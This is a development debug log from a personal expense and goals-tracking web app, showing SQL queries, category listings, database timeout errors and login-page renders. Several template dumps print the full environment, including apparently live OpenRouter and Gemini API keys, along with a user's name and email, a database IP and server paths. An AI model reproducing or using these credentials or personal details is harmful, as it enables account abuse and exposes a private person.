  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-24T13:38:11.643Z server-connect:app Executing action step select
2026-02-24T13:38:11.643Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-24T13:38:11.644Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-24T14:09:47.900Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-02-24T14:09:47.904Z server-connect:router Serving serverConnect /api/goals/list
2026-02-24T14:09:47.906Z server-connect:app Executing action step identify
2026-02-24T14:09:47.906Z server-connect:app options: { provider: 'security' }
2026-02-24T14:09:47.906Z server-connect:output identity: 1
2026-02-24T14:09:47.906Z server-connect:app Executing action step restrict
2026-02-24T14:09:47.906Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T14:09:47.908Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-24T14:09:47.908Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-24T14:09:47.908Z server-connect:app Executing action step identify
2026-02-24T14:09:47.909Z server-connect:app options: { provider: 'security' }
2026-02-24T14:09:47.909Z server-connect:output identity: 1
2026-02-24T14:09:47.909Z server-connect:app Executing action step restrict
2026-02-24T14:09:47.909Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T14:09:47.909Z server-connect:app Executing action step identify
2026-02-24T14:09:47.909Z server-connect:app options: { provider: 'security' }
2026-02-24T14:09:47.909Z server-connect:output identity: 1
2026-02-24T14:09:47.909Z server-connect:app Executing action step restrict
2026-02-24T14:09:47.909Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T14:09:47.909Z server-connect:app Executing action step identify
2026-02-24T14:09:47.909Z server-connect:app options: { provider: 'security' }
2026-02-24T14:09:47.909Z server-connect:output identity: 1
2026-02-24T14:09:47.909Z server-connect:app Executing action step restrict
2026-02-24T14:09:47.909Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T14:09:47.910Z server-connect:output restrict: undefined
2026-02-24T14:09:47.910Z server-connect:app Executing action step paged
2026-02-24T14:09:47.910Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-24T14:09:47.912Z server-connect:output restrict: undefined
2026-02-24T14:09:47.912Z server-connect:app Executing action step custom
2026-02-24T14:09:47.912Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-02-24T14:09:47.912Z server-connect:output restrict: undefined
2026-02-24T14:09:47.912Z server-connect:app Executing action step select
2026-02-24T14:09:47.913Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-24T14:09:47.913Z server-connect:output restrict: undefined
2026-02-24T14:09:47.913Z server-connect:app Executing action step single
2026-02-24T14:09:47.913Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-24T14:09:47.917Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '50000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '50000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '50000',
    last_transaction_date: 2026-02-24T12:05:14.000Z,
    percentage_achieved: '25.00',
    grand_total_saved: '50000',
    grand_total_target: '4300000'
  }
]
2026-02-24T14:09:47.921Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-24T14:09:47.923Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-24T14:09:47.923Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-24 19:03:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-24 19:03:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-24 20:31:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-24 20:31:15' as DATETIME)"
}
Error: connect ECONNREFUSED 65.21.215.19:3306
    at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {
  errno: -111,
  code: 'ECONNREFUSED',
  syscall: 'connect',
  address: '65.21.215.19',
  port: 3306,
  fatal: true
}
2026-02-24T21:21:18.531Z server-connect:router Serving templateView /
2026-02-24T21:21:18.533Z server-connect:app Executing action step identify
2026-02-24T21:21:18.533Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:18.534Z server-connect:auth No login cookie found
2026-02-24T21:21:18.534Z server-connect:output identity: false
2026-02-24T21:21:18.534Z server-connect:app Executing action step restrict
2026-02-24T21:21:18.534Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:18.534Z server-connect:output restrict: undefined
2026-02-24T21:21:18.762Z server-connect:router Serving templateView /login
2026-02-24T21:21:18.762Z server-connect:app Executing action step identify
2026-02-24T21:21:18.762Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:18.762Z server-connect:auth No login cookie found
2026-02-24T21:21:18.763Z server-connect:output identity: false
2026-02-24T21:21:18.763Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:18.763Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Mobile/15E148 Safari/605.1.15',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'http://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:18.762Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Mobile/15E148 Safari/605.1.15',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:20.175Z server-connect:router Serving templateView /
2026-02-24T21:21:20.175Z server-connect:app Executing action step identify
2026-02-24T21:21:20.175Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:20.176Z server-connect:auth No login cookie found
2026-02-24T21:21:20.176Z server-connect:output identity: false
2026-02-24T21:21:20.176Z server-connect:app Executing action step restrict
2026-02-24T21:21:20.176Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:20.177Z server-connect:output restrict: undefined
2026-02-24T21:21:20.399Z server-connect:router Serving templateView /login
2026-02-24T21:21:20.399Z server-connect:app Executing action step identify
2026-02-24T21:21:20.399Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:20.399Z server-connect:auth No login cookie found
2026-02-24T21:21:20.399Z server-connect:output identity: false
2026-02-24T21:21:20.399Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:20.399Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Linux; Android 9; Pixel 8 Pro; Build/PPR1.170204.184) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.192 Mobile Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'http://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:20.398Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 9; Pixel 8 Pro; Build/PPR1.170204.184) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.192 Mobile Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:22.867Z server-connect:router Serving templateView /
2026-02-24T21:21:22.867Z server-connect:app Executing action step identify
2026-02-24T21:21:22.867Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:22.867Z server-connect:auth No login cookie found
2026-02-24T21:21:22.868Z server-connect:output identity: false
2026-02-24T21:21:22.868Z server-connect:app Executing action step restrict
2026-02-24T21:21:22.868Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:22.868Z server-connect:output restrict: undefined
2026-02-24T21:21:23.093Z server-connect:router Serving templateView /login
2026-02-24T21:21:23.093Z server-connect:app Executing action step identify
2026-02-24T21:21:23.093Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:23.093Z server-connect:auth No login cookie found
2026-02-24T21:21:23.093Z server-connect:output identity: false
2026-02-24T21:21:23.093Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:23.094Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
